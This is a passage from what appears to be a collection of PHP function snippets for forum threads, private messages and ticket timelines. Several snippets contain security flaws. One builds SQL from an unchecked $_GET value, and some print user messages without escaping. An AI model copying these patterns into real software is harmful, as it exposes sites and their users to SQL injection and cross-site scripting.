allowedTo('remove_own'));\n\t\t\t}\n\n\t\t\t// Can we use quick moderation checkboxes?\n\t\t\tif ($options['display_quick_mod'] == 1)\n\t\t\t{\n\t\t\t\t$context['can_quick_mod'] = $context['user']['is_logged'] || $context['can_approve'] || $context['can_remove'] || $context['can_lock'] || $context['can_sticky'] || $context['can_move'] || $context['can_merge'] || $context['can_restore'];\n\t\t\t}\n\t\t\t// Or the icons?\n\t\t\telse\n\t\t\t{\n\t\t\t\t$context['can_quick_mod'] = $context['can_remove'] || $context['can_lock'] || $context['can_sticky'] || $context['can_move'];\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($context['can_quick_mod']) && $options['display_quick_mod'] == 1)\n\t\t{\n\t\t\t$context['qmod_actions'] = array('approve', 'remove', 'lock', 'sticky', 'move', 'merge', 'restore', 'markread');\n\t\t\tcall_integration_hook('integrate_quick_mod_actions');\n\t\t}\n\n\t\tif (!empty($context['boards']) && $context['start'] == 0)\n\t\t{\n\t\t\t$template_layers->add('display_child_boards');\n\t\t}\n\n\t\t// If there are children, but no topics and no ability to post topics...\n\t\t$context['no_topic_listing'] = !empty($context['boards']) && empty($context['topics']) && !$context['can_post_new'];\n\t\t$template_layers->add('topic_listing');\n\n\t\ttheme()->addJavascriptVar(array('notification_board_notice' => $context['is_marked_notify'] ? $txt['notification_disable_board'] : $txt['notification_enable_board']), true);\n\n\t\t// Build the message index button array.\n\t\t$context['normal_buttons'] = array(\n\t\t\t'new_topic' => array('test' => 'can_post_new',\n\t\t\t\t\t\t\t\t 'text' => 'new_topic',\n\t\t\t\t\t\t\t\t 'lang' => true,\n\t\t\t\t\t\t\t\t 'url' => getUrl('action', ['action' => 'post', 'board' => $context['current_board'] . '.0']),\n\t\t\t\t\t\t\t\t 'active' => true),\n\t\t\t'notify' => array('test' => 'can_mark_notify',\n\t\t\t\t\t\t\t 'text' => $context['is_marked_notify'] ? 'unnotify' : 'notify',\n\t\t\t\t\t\t\t 'lang' => true, 'custom' => 'onclick=\"return notifyboardButton(this);\"',\n\t\t\t\t\t\t\t 'url' => getUrl('action', ['action' => 'notifyboard', 'sa' => ($context['is_marked_notify'] ? 'off' : 'on'), 'board' => $context['current_board'] . '.' . $context['start'], '{session_data}'])),\n\t\t);\n\n\t\ttheme()->addJavascriptVar(array(\n\t\t\t'txt_mark_as_read_confirm' => $txt['mark_these_as_read_confirm']\n\t\t), true);\n\n\t\t// They can only mark read if they are logged in and it's enabled!\n\t\tif ($this->user->is_guest === false && $settings['show_mark_read'])\n\t\t{\n\t\t\t$context['normal_buttons']['markread'] = array(\n\t\t\t\t'text' => 'mark_read_short',\n\t\t\t\t'lang' => true,\n\t\t\t\t'url' => getUrl('action', ['action' => 'markasread', 'sa' => 'board', 'board' => $context['current_board'] . '.0', '{session_data}']),\n\t\t\t\t'custom' => 'onclick=\"return markboardreadButton(this);\"'\n\t\t\t);\n\t\t}\n\n\t\t// Allow adding new buttons easily.\n\t\tcall_integration_hook('integrate_messageindex_buttons');\n\t}",
"function threads_get()\n\t{\n\t\t$this->check_board();\n\n\t\tif ($this->get('page'))\n\t\t{\n\t\t\tif (!is_natural($this->get('page')))\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __(\"Invalid value for 'page'.\")), 404);\n\t\t\t}\n\t\t\telse if ($this->get('page') > 500)\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __('Unable to return more than 500 pages.')), 404);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$page = intval($this->get('page'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$page = 1;\n\t\t}\n\n\n\t\tif ($this->get('per_page'))\n\t\t{\n\t\t\tif (!is_natural($this->get('per_page')))\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __(\"Invalid value for 'per_page'.\")), 404);\n\t\t\t}\n\t\t\telse if ($this->get('per_page') > 50)\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __('Unable to return more than 50 threads per page.')),\n\t\t\t\t\t404);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$per_page = intval($this->get('per_page'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$per_page = 25;\n\t\t}\n\n\n\n\t\t$posts = $this->post->get_latest(get_selected_radix(), $page, array('per_page' => $per_page));\n\t\tif (count($posts) > 0)\n\t\t{\n\t\t\t$this->response($posts, 200); // 200 being the HTTP response code\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->response(array('error' => __('Unable to locate any threads.')), 404);\n\t\t}\n\t}",
"public function ReplyMessages(){\n\n\t\t$message_id = $this->uri->segment(3);\n\n\t\t$headerData = null;\n\t\t$sidebarData = null;\n\t\t$page = 'admin/reply_message';\n\t\t$mainData = array(\n\t\t\t'pagetitle'=> 'Reply Message',\n\t\t\t'student' => $this->setting_model->Get_All('students'),\n\t\t\t'londontec_users' => $this->setting_model->Get_All('londontec_users'),\n\t\t\t'messages' => $this->setting_model->Get_Single('message','message_id',$message_id)\n\t\t);\n\t\t$footerData = null;\n\n\t\t$this->template($headerData, $sidebarData, $page, $mainData, $footerData);\n\t}",
"public function run(): void\n {\n Thread::with('participants.owner')->get()->each(function (Thread $thread) {\n for ($x = 0; $x < rand(5, 20); $x++) {\n Message::factory()\n ->for($thread)\n ->owner($thread->participants->random()->owner)\n ->create();\n }\n });\n }",
"public function index()\n {\n return view('materialadmin::message.index')->with('messages', Message::where('to_user_id', \\Auth::id())->orderBy('created_at', 'desc')->paginate(15));\n }",
"function show()\n {\n $messages = $this->Session->read( 'messages' );\n $html = '';\n \n // Add a div for each message using the type as the class\n foreach ($messages as $type => $msgs)\n {\n foreach ($msgs as $msg)\n {\n if (!empty($msg)) {\n $html .= \"<div class='$type'><p>$msg</p></div>\";\n } \n }\n }\n $html .= \"</div>\";\n \n // Clear the messages array from the session\n $this->Session->del( 'messages' );\n \n return $this->output( $html );\n }",
"function html_thread(array $thread, $date_format='%c',\n $locale='en_US.UTF-8', $parent_id=0) {\n setlocale(LC_TIME, $locale);\n foreach ($thread as $subthread) {\n if ($subthread['parent_id'] == $parent_id) {\n echo '<div class=\"comment\">' . PHP_EOL;\n echo '<div class=\"comment_message\"><p>'.\n $subthread['message'] . '</div>' . PHP_EOL;\n echo '<div class=\"comment_signature\">' . \n '<span class=\"comment_username\">' .\n $subthread['username'] . '</span>;' . PHP_EOL;\n echo '<span>' .\n '<time datetime=' .\n strftime('%Y-%m-%dT%H:%M:%S',\n strtotime($subthread['timestamp'])) . '>' .\n strftime($date_format,\n strtotime($subthread['timestamp'])) .\n '</time></span>' . PHP_EOL;\n echo ' • ';\n echo '<span class=\"comment-reply\">'. PHP_EOL;\n echo '<a href=\"#\">Reply</a></span>' . PHP_EOL;\n echo '</div>' . PHP_EOL;\n\n if ($subthread['children']) {\n html_thread($subthread['children'], $date_format,\n $locale, $subthread['id']);\n }\n echo '</div>' . PHP_EOL;\n }\n }\n}",
"function print_messages() {\n global $messages;\n foreach ($messages as $message) {\n echo \"<p class='message'><strong>\".htmlspecialchars($message).\"</strong></p>\\n\";\n }\n}",
"function threadShow($tally, $act, $dir='DESC', $str=''){\n\t/*\n\t * Show the general scene start for a thread and then all related posts related to that thread/topic.\n\t * $tally sets number of posts per page\n\t * $direction sets order to either ASC of DESC (Newest or Oldest post first)\n\t */\n\n\n\t#uID is the current user/viewer looking at page,\n\t#hID is the handler/creator of actual thread\n\t$uID=$hID=$hName=$priv='';\n\t#for query string\n\t$rqID=$rtID=$tTitle=$twID=$wID=$testStr=$btns='';\n\n\t#get requested thread id\n\t$rqID = $_GET['tID']; #$rID = requested thread id\n\n\n\n\t#dumpDie($_SESSION['Privilege']);\n\n\t#get user creds\n\tif(isset($_SESSION['UserID']))\t { $hID = $_SESSION['UserID']; } #uID = ''\n\tif(isset($_SESSION['Privilege'])){ $priv = $_SESSION['Privilege']; } ##priv = ''\n\n\t#get Post modifiers to pass on to 'populate' existing post with\n\tif(isset($_GET['pWeather'])){ $wID = $_GET['pWeather']; }\n\n\t$sql = \"SELECT ThreadID, CatID, PostID, UserID, ThreadFeaturing, ThreadType, ThreadTitle, ThreadRating, ThreadPhaseOfDay, ThreadTimeOfDay, ThreadWeather, ThreadLocation, ThreadContent, ThreadNotes, ThreadSummary, ThreadTag, DatePostThread, DatePullThread, DateCreated, LastUpdated FROM ma_Threads where ThreadID = {$rqID}\n\tORDER BY PostID $dir;\";\n\n\n\t$str .= '<!-- start general content -->\n\t<div class=\"col-sm-9 col-xs-12 pull-right\">';\n\n\t# connection comes first in mysqli (improved) function\n\t$result = mysqli_query(IDB::conn(),$sql) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\tif (mysqli_num_rows($result) > 0)//at least one record!\n\t{//show results\n\t\twhile($row = mysqli_fetch_assoc($result))\n\t\t{# process each row\n\t\t\t$catID \t \t\t\t= (int)$row['CatID'];\n\t\t\t#$uID \t \t\t\t= (int)$row['UserID']; #owner/creator of thread\n\t\t\t$uID \t\t\t\t\t= (isset($row['UserID'])) \t? $row['UserID'] : 0;\n\n\t\t\t$rtID \t \t\t\t= (int)$row['ThreadID'];\n\n\t\t\t$tTitle \t\t\t= $row['ThreadTitle'];\n\t\t\t$titleEncoded = str_replace(' ', '_', $tTitle); #URL safe\n\n\t\t\t$tType \t\t\t\t= $row['ThreadType'];\n\t\t\t$tRate \t\t\t\t= $row['ThreadRating'];\n\t\t\t$tRateEncoded = str_replace(' ', '_', $tRate); #URL safe\n\n\t\t\t$phase \t\t\t\t= $row['ThreadPhaseOfDay'];\n\t\t\t$phaseEncoded = str_replace(' ', '_', $phase); #URL safe\n\n\t\t\t$time \t\t\t\t= $row['ThreadTimeOfDay'];\n\t\t\t#add 67 seconds to time stamp\n\t\t\t$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$timeEncoded = str_replace(' ', '_', $time); #URL safe\n\n\t\t\t$tWeather \t\t= $row['ThreadWeather']; #thread weather\n\t\t\t$twEncoded \t\t= str_replace(' ', '_', $twID); #URL safe\n\n\t\t\t$location \t\t= $row['ThreadLocation'];\n\t\t\t$locationEncoded = str_replace(' ', '_', $location); #URL safe\n\t\t\t$when \t\t\t\t= 'when';\n\t\t\t#add 67 seconds to time stamp\n\t\t\t#$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$whenEncoded = str_replace(' ', '_', $when); #URL safe\n\n\n\t\t\t#handler - current user viewing is X\n\t\t\t#$hID = $_SESSION['UserID'];\n\t\t\t$hID = (isset($_SESSION['UserID'])) \t? $_SESSION['UserID'] : 0;\n\n\n\t\t\t#QUERY STRINGS for buttons - this way its easier to edit/revise them all in one place\n\t\t\t$pQueryAdd = '?act=postAdd';\n\t\t\t$pQueryAdd .= '&uID=' . $hID\n\t\t\t\t\t\t\t\t\t.\t '&cat=' . $catID\n\t\t\t\t\t\t\t\t\t. '&tID=' . $rtID\n\t\t\t\t\t\t\t\t\t. '&ttl=' . $titleEncoded\n\t\t\t\t\t\t\t\t\t. '&typ=' . $tType\n\t\t\t\t\t\t\t\t\t. '&rtg=' . $tRateEncoded\n\t\t\t\t\t\t\t\t\t. '&wet=' . $twEncoded\n\t\t\t\t\t\t\t\t\t. '&phs=' . $phaseEncoded\n\t\t\t\t\t\t\t\t\t. '&tme=' . $timeEncoded\n\t\t\t\t\t\t\t\t\t. '&loc=' . $locationEncoded\n\t\t\t\t\t\t\t\t\t. '&whn=' . $whenEncoded; #addd min 67 seconds to it...\n\t\t\t#URL Sanitized\n\t\t\t$pQueryAdd = htmlspecialchars($pQueryAdd, ENT_QUOTES);\n\t\t\t#$pQueryAdd = htmlentities($pQueryAdd);\n\t\t\t#$pQueryAdd = rawurlencode ($pQueryAdd);\n\n\t\t\t#dumpDie($pQueryAdd);\n\n\t\t\t$pQueryEdit = '?act=threadEdit&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryEdit = htmlspecialchars($pQueryEdit, ENT_QUOTES);\n\t\t\t$pQueryEdit = htmlentities($pQueryEdit);\n\n\t\t\t$pQueryRemove = '?act=threadRemove&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryRemove = htmlspecialchars($pQueryRemove, ENT_QUOTES);\n\t\t\t$pQueryRemove = htmlentities($pQueryRemove);\n\n\t\t\t$pQueryLock = '?act=threadLock&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryLock = htmlspecialchars($pQueryLock, ENT_QUOTES);\n\t\t\t$pQueryLock = htmlentities($pQueryLock);\n\n\t\t\t#if category matches selected category show\n\t\t\tif($rtID){\n\n\t\t\t\t#add leading zeros...\n\t\t\t\t$rIDformatted ='';\n\t\t\t\t$rIDformatted = str_pad( $rtID, 4, \"0\", STR_PAD_LEFT );\n\n\t\t\t\t#show threadHandler - make link to profile if logged in\n\t\t\t\tif(!empty($priv)){\n\t\t\t\t\t$hName = '<a href=\"' . VIRTUAL_PATH . 'users/userProfile.php?act=show&user=' . $uID . '\" title=\"\">' . get_hName($uID) . '</a>';\n\t\t\t\t}else{\n\t\t\t\t\t#if it's not our memeber, make link meaningless\n\t\t\t\t\t$hName = get_hName($uID);\n\t\t\t\t}\n\n\t\t\t\t#display content\n\t\t\t\t$str .= '<h2 class=\"panel-title\"><b>' . $tTitle . ' <span class=\"text-muted\"></b><small>(#TiD-' . $rtID . ')</small></span></a> <span class=\"pull-right\"><span class=\"glyphicon glyphicon-pencil text-muted\"></span> ' . $hName .'</span></h2>\n\n\t\t\t\t<p><br />'. nl2br($row['ThreadContent']) . '</p>';\n\t\t\t\t#intial description/staging for thread\n\n\n\t\t\t\t$threadTag = $row['ThreadTag'];\n\n\t\t\t\t#get Codenames of characters tagged\n\t\t\t\t#get all unique id sets\n\t\t\t\t$sqlAllTags = \"SELECT DISTINCT PostTags FROM ma_Posts WHERE ThreadID = $rtID\";\n\n\t\t\t\t$txt = '';\n\n\t\t\t\t#make tags for thread\n\t\t\t\t$resultAllTags = mysqli_query(IDB::conn(), $sqlAllTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t//at least one record!\n\t\t\t\tif (mysqli_num_rows($resultAllTags) > 0){//show results\n\t\t\t\t\t$count = 0;\n\n\t\t\t\t\t#process id sets into string, add duplicates removed\n\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultAllTags))\n\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t$txt .= $row['PostTags'] . 'x';\n\t\t\t\t\t}\n\n\t\t\t\t\t#remove double commas\n\t\t\t\t\t$txt = str_replace('xx',',', $txt);\n\t\t\t\t\t$txt = str_replace('x',',', $txt);\n\n\t\t\t\t\t#remove duplicates\n\t\t\t\t\t$txt = implode(',', array_unique(explode(',', $txt)));\n\n\t\t\t\t\t#format numbers to row comma quoted delinated row with\n\t\t\t\t\t$txt = \"'\" . str_replace(array(\"'\", \",\"), array(\"\\\\'\", \"','\"), $txt) . \"'\";\n\n\t\t\t\t\t#removing trailing comma and or empty/white space or combos there of.\n\t\t\t\t\t$myStr = str_replace(\",''\",'', $txt);\n\t\t\t\t}\n\n\t\t\t\t@mysqli_free_result($resultAllTags); //free resources\n\n\t\t\t\t$postTagsNew = $sqlCharTags = '';\n\t\t\t\t//we might not have any tags\n\t\t\t\tif($txt !==''){\n\t\t\t\t\t$sqlCharTags = \"SELECT Codename, CharID, Overview FROM ma_Characters WHERE CharID IN ($txt) ORDER BY Codename;\";\n\n\t\t\t\t\t$resultCharTags = mysqli_query(IDB::conn(), $sqlCharTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t\t//at least one record!\n\t\t\t\t\tif (mysqli_num_rows($resultCharTags) > 0)\n\t\t\t\t\t{//show results\n\n\t\t\t\t\t\t$count = 0;\n\t\t\t\t\t\t$postTagsNew .= '<p>Featuring: ';\n\n\t\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultCharTags))\n\t\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t\t$cName \t\t\t = $row['Codename'];\n\t\t\t\t\t\t\t$cNameEncode = str_replace(' ', '_', $cName); \t#URL safe\n\t\t\t\t\t\t\t#$twEncoded = str_replace(' ', '_', $twID); \t\t#URL safe\n\t\t\t\t\t\t\t#$titleEncoded = str_replace(' ', '_', $title);\t#URL safe\n\n\t\t\t\t\t\t\t$cID \t\t\t = $row['CharID'];\n\t\t\t\t\t\t\t$cOverivew = $row['Overview'];\n\n\t\t\t\t\t\t\t#add in comma/seperator\n\t\t\t\t\t\t\tIf($count++ >= 1){ $postTagsNew .= ', ';}\n\n\t\t\t\t\t\t\t$postTagsNew .= '<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?CodeName=' . $cNameEncode . '&id=' . $cID . '&act=show\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"' . $cOverivew . '\"\n\t\t\t\t\t\t\t>' . $cName . '</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$postTagsNew .= '</p>';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$str .= $postTagsNew;\n\n\t\t\t\t#THREAD queries addendums (NOT POSTS!)\n\t\t\t\t#we are using $rID = requested thread id instead of $rtID\n\n\t\t\t\t#GET posts - page them\n\n\n\n\t\t\t#Make the btns\n\t\t\t/*\n\t\t\t\t#we need a handler id for edit, lock and delete options -- handler is the registered created of that post or thread...\n\t\t\t*/\n\n\n\t\t\tif(!empty($priv)){ $btns .= mk_btns4posts($priv, $hID, $uID, $pQueryAdd, $pQueryAdd, $pQueryEdit, $pQueryRemove, $pQueryLock); }\n\n\t\t\t#sbow btns before posts.....\n\t\t\t$str .= $btns; #add the btns\n\n\n\n\t\t\t#pass the btns on to get_pPaged()\n\t\t\t$testStr .= get_pPaged($rtID, $tally, $act, $btns, $tTitle, $tType,\n\t\t\t\t$catID, $titleEncoded, $tType, $tRateEncoded, $twEncoded, $phaseEncoded,\n\t\t\t\t$timeEncoded, $locationEncoded, $whenEncoded, $titleEncoded,\n\t\t\t\t$priv, $hID, $uID); #get all psots\n\n\t\t\tif($testStr != ''){\n\t\t\t\t$str .= $testStr;\n\t\t\t\t$str .= '<hr>';\n\t\t\t#no records\n\t\t\t}else{\n\t\t\t\t$str .= \"<div align=center>Houston we have problemo</div>\";\n\t\t\t}\n\t\t}\n\t\t#close it all up\n\n\t\t$str .='</div><!-- END content -->';\n\t\t@mysqli_free_result($result); //free resources\n\t\treturn $str;\n\t\t}\n\t}\n}",
"static private function showMessages() {\n if (isset($_SESSION['messages'])) {\n\n $messages = new View(\"global.messages\", array(\"messages\" => $_SESSION['messages']));\n echo $messages->getHtml();\n // du coup on peut supprimer les messages\n unset($_SESSION['messages']);\n }\n }",
"public function index()\n {\n $id = Auth::user()->id; \n $messages = Message::where('to_users_id',$id)\n ->orderBy('messages.created_at', 'desc')\n ->get();\n \n $arr = array();\n \n foreach($messages as $message){\n if(!empty($message->message_reply_has_parent)){\n if(!in_array($message->message_reply_has_parent->parent_id, $arr))\n array_push($arr, $message->message_reply_has_parent->parent_id);\n } else \n array_push($arr, $message->id);\n }\n \n $new_messages = Message::whereIn('id', $arr)\n ->orderBy('messages.updated_at', 'desc')\n ->get();\n \n $data['messages'] = $new_messages;\n \n return view ('message/messages', $data);\n }",
"public function viewtopicAction($thread_id){\n\t\t$per_page = 20;\n\n\t\t# Chargement du manager\n\t\t$this->load_manager('forum', 'base_app');\n\n\t\t# On commpte le nombre de message\n\t\t$NbMessage = $this->app->db->count(PREFIX . 'forum_message', array('thread_id =' => $thread_id));\n\n\t\t# On recupere les messages\n\t\t$Messages = $this->manager->forum->getMessagesByThreadId($thread_id, $per_page, getOffset($per_page));\n\n\t\t# Recuperation infos topic\n\t\t$Thread = new Basethread($this->app->db->get_one(PREFIX . 'forum_thread', array('id =' => $thread_id)));\n\n\t\t# On traite la pagination\n\t\t$Pagination = new Zebra_Pagination();\n\t\t$Pagination->records($NbMessage);\n\t\t$Pagination->records_per_page($per_page);\n\n\t\tif( $this->isModerateur() == true ):\n\t\t\t$this->app->smarty->assign('Forums', $this->manager->forum->getAllForums());\n\t\tendif;\n\t\t\n\t\t# Envoie a smarty\n\t\t$this->app->smarty->assign(array(\n\t\t\t'ctitre'\t\t=>\t'Forum :: ' . $Thread->titre,\n\t\t\t'Messages'\t\t=>\t$Messages,\n\t\t\t'Thread'\t\t=>\t$Thread,\n\t\t\t'Pagination'\t=>\t$Pagination,\n\t\t\t'Forum'\t\t\t=>\tnew myObject( $this->app->db->get_one(PREFIX . 'forum', array('id =' => $Thread->forum_id)) )\n\t\t));\n\n\t\tif( $_SESSION['utilisateur']['id'] != 'Visiteur' ):\n\t\t\t$this->getFormValidatorJs();\n\n\t\t\t$this->app->load_web_lib('markitup/skins/simple/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/jquery.markitup.js','js');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/set.js','js');\n\t\tendif;\n\t\t\n\t\t# Generation de la page\n\t\treturn $this->app->smarty->fetch(BASE_APP_PATH . 'view' . DS . 'forum' . DS . 'viewtopic.tpl');\n\n\t}",
"public function getMessageThreadOverview($idMember, $storeMember = Common_Resource_MessageThread::STORE_INBOX)\n {\n $threads = array();\n\n $messageThreadResource = $this->getResource('MessageThread');\n $messsageThreadRowset = $messageThreadResource->getThreadsByMemberId(\n $idMember,\n $storeMember\n );\n\n foreach ($messsageThreadRowset as $messageThreadRow) {\n $messageThreadObj = $this->messageThreadObject($messageThreadRow);\n array_push($threads, $messageThreadObj);\n }\n\n return $threads;\n }",
"public function index()\n {\n $groups = Chat::getAllGroupConversations();\n $threads = Chat::getAllConversations();\n \n \n \n $newCollection = $threads->map(function($value,$key) {\n return $value->user->id ;\n});\n\n \n $users = User::where('id', '!=', auth()->id())->get();\n\n return view('home')->with([\n 'threads' => $threads,\n 'groups' => $groups,\n 'users'=>$users\n ]);\n }",
"public function show($id)\n {\n $thread = Thread::findOrFail($id);\n\n $thread->messages = $thread->messages()\n ->with(['user' => function($query) {\n $query->select('id', 'avatar', 'name', 'agent_name');\n }])\n ->orderBy('created_at', 'desc')\n ->paginate();\n\n $thread->my = Auth::user()->only(['avatar', 'name']);\n\n $thread->markAsRead(Auth::user()->id);\n\n\n if (!is_null(User::select('id')->where('id', $thread->participantsUserIds())->firstOrFail())) {\n return response()->json($thread);\n }\n\n }",
"public function index()\n\t{\n\t\t$uuid = $this->get_uuid();\n\t\t$peers = $this->get_peers();\n\t\t$next_msg = 0;\n\n\t\tif (isset($peers[site_url('lab5/receive_message')]))\n\t\t{\n\t\t\t$next_msg = $peers[site_url('lab5/receive_message')][\"WeHave\"] + 1;\n\t\t}\n\n\t\t$this->load->view(\"header\");\n\t\t$this->load->view(\"view_messages\", \n\t\t\tarray(\"messages\" => $this->get_ordered_messages(), \n\t\t\t\t\"peers\" => $peers,\n\t\t\t\t\"uuid\" => $uuid,\n\t\t\t\t\"next_msg\" => $next_msg));\n\t}",
"function Forum_showThread(&$PAGEDATA, &$id) {\n\trequire_once SCRIPTBASE.'ww.incs/bb2html.php';\n\tWW_addCSS('/ww.plugins/forum/frontend/forum.css');\n\t$script='$(function(){$(\".ratings\").ratings();});';\n\tWW_addScript('ratings/ratings.js');\n\tWW_addInlineScript($script);\n\t$thread=dbRow('select * from forums_threads where id='.$id);\n\t$forum_id=$thread['forum_id'];\n\tif (!$thread || !count($thread)) {\n\t\treturn '<em class=\"error\">Error: this thread does not exist!</em>';\n\t}\n\t$c=Forum_getForumBreadcrumbs($PAGEDATA, $thread['forum_id'])\n\t\t.' » <a href=\"'.$PAGEDATA->getRelativeUrl().'?forum-f='.$forum_id\n\t\t.'&forum-t='.$id.'\">'.htmlspecialchars($thread['name']).'</a>';\n\t$c.='<table id=\"forum-posts\"><tr><th>Author</th><th>Post</th></tr>';\n\t$posts=dbAll(\n\t\t'select * from forums_posts where thread_id='\n\t\t.$id.' and moderated = 1 order by created_date'\n\t);\n\tforeach ($posts as $post) {\n\t\t$user=User::getInstance($post['author_id']);\n\t\tif ($user) {\n\t\t\t$user_name=$user->get('name');\n\t\t\t$user_id=$post['author_id'];\n\t\t\t$user_email=$user->get('email');\n\t\t}\n\t\telse {\n\t\t\t$user_name='unknown';\n\t\t\t$user_id=0;\n\t\t\t$user_email='';\n\t\t}\n\t\t$c.='<tr p-data=\\'({\"id\":'.$post['id']\n\t\t\t.',\"cdate\":\"'.$post['created_date'].'\"'\n\t\t\t.',\"uid\":'.$post['author_id'].'})\\'>'\n\t\t\t.'<td class=\"user-details\"><a name=\"forum-c-'.$post['id']\n\t\t\t.'\"></a>'.htmlspecialchars($user_name).'</td>'\n\t\t\t.'<td><div class=\"post-header\">Posted: '\n\t\t\t.Core_dateM2H($post['created_date'], 'datetime')\n\t\t\t.'</div></td></tr>';\n\t\t$count_posts=$user_id\n\t\t\t?dbOne(\n\t\t\t\t'select count(id) from forums_posts where author_id='.$user->get('id'),\n\t\t\t\t'count(id)'\n\t\t\t)\n\t\t\t:0;\n\t\t$emailHash=md5(trim(strtolower($user_email)));\n\t\t\n\t\t$c.='<tr><td><img class=\"avatar\" data-uid=\"'.$user_id.'\" />'\n\t\t\t. '<span>Posts: '.$count_posts.'</span>'\n\t\t\t. '<p>Helpfulness:'\n\t\t\t. '<span class=\"ratings\" id=\"forum_user_'.$user_email.'\"'\n\t\t\t. ' type=\"forum_user\">rating</span></p>';\t\t\t\t\n\n\t\t$c.='</td><td class=\"post\">'.bb2html($post['body'])\n\t\t\t.'</td></tr>';\n\t}\n\t$c.='</table>';\n\t// { post form\n\tif (isset($_SESSION['userdata']) && $_SESSION['userdata']['id']) {\n\t\t$c.='<div id=\"forum-post-submission-form\"><script defer=\"defer\">var forum_id='\n\t\t\t.$forum_id.',forum_thread_id='.$id.';</script></div>';\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/ckeditor.js');\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/adapters/jquery.js');\n\t\tWW_addScript('forum/frontend/forum.js');\n\t}\n\telse {\n\t\t$c.='<div class=\"forum-not-logged-in\">In order to post to this thread,'\n\t\t\t.' you must <a href=\"/_r?type=loginpage\">login'\n\t\t\t.'</a> first.</div>';\n\t}\n\t// }\n\treturn $c;\n}",
"function board_list(){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\t\t$head = \"\";\n\t\t$body='';\n\t\t\n\t\t$indice = indice_board();\n\n\n\t\t$q_new = $db->DoQuery(\"SELECT count(*) AS cnt FROM {$prefix}boardunread WHERE user='{$x7s->username}'\");\n\t\t$new_msg = $db->Do_Fetch_Assoc($q_new);\n\n\t\t$body=\"<b>Ci sono $new_msg[cnt] messaggi nuovi</b>\";\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}",
"public function index()\n {\n $threads = Thread::orderBy('created_at', 'desc')->with('Movie', 'User')->get();\n\n foreach ($threads as $thread) {\n $thread->movie->description = shorten($thread->movie->description, 88);\n $thread->rating_slug = Str::slug($thread->rating);\n $thread->tmdb_id = (isset($thread->movie->externalid[0])) ? $thread->movie->externalid[0]->external_id : null;\n $thread->imdb_id = (isset($thread->movie->externalid[1])) ? $thread->movie->externalid[1]->external_id : null;\n if ($thread->user_id == Auth::user()->id) {\n $thread->can_edit = true;\n }\n }\n\n return response()->json($threads);\n }",
"public function viewTicketTimelineMessages($show_private, $show_user, Ticket $object)\n {\n global $conf, $langs, $user;\n\n // Load logs in cache\n $ret = $object->loadCacheMsgsTicket();\n $action = GETPOST('action');\n\n if (is_array($object->cache_msgs_ticket) && count($object->cache_msgs_ticket) > 0) {\n print '<section id=\"cd-timeline\">';\n\n foreach ($object->cache_msgs_ticket as $id => $arraymsgs) {\n if (!$arraymsgs['private']\n || ($arraymsgs['private'] == \"1\" && $show_private)\n ) {\n print '<div class=\"cd-timeline-block\">';\n print '<div class=\"cd-timeline-img\">';\n print '<img src=\"img/messages.png\" alt=\"\">';\n print '</div> <!-- cd-timeline-img -->';\n\n print '<div class=\"cd-timeline-content\">';\n print $arraymsgs['message'];\n\n print '<span class=\"cd-date\">';\n print dol_print_date($arraymsgs['datec'], 'dayhour');\n\n if ($show_user) {\n if ($arraymsgs['fk_user_action'] > 0) {\n $userstat = new User($this->db);\n $res = $userstat->fetch($arraymsgs['fk_user_action']);\n if ($res) {\n print '<br>';\n print $userstat->getNomUrl(1);\n }\n } else {\n print '<br>';\n print $langs->trans('Customer');\n }\n }\n print '</span>';\n print '</div> <!-- cd-timeline-content -->';\n print '</div> <!-- cd-timeline-block -->';\n }\n }\n print '</section>';\n } else {\n print '<div class=\"info\">' . $langs->trans('NoMsgForThisTicket') . '</div>';\n }\n }",
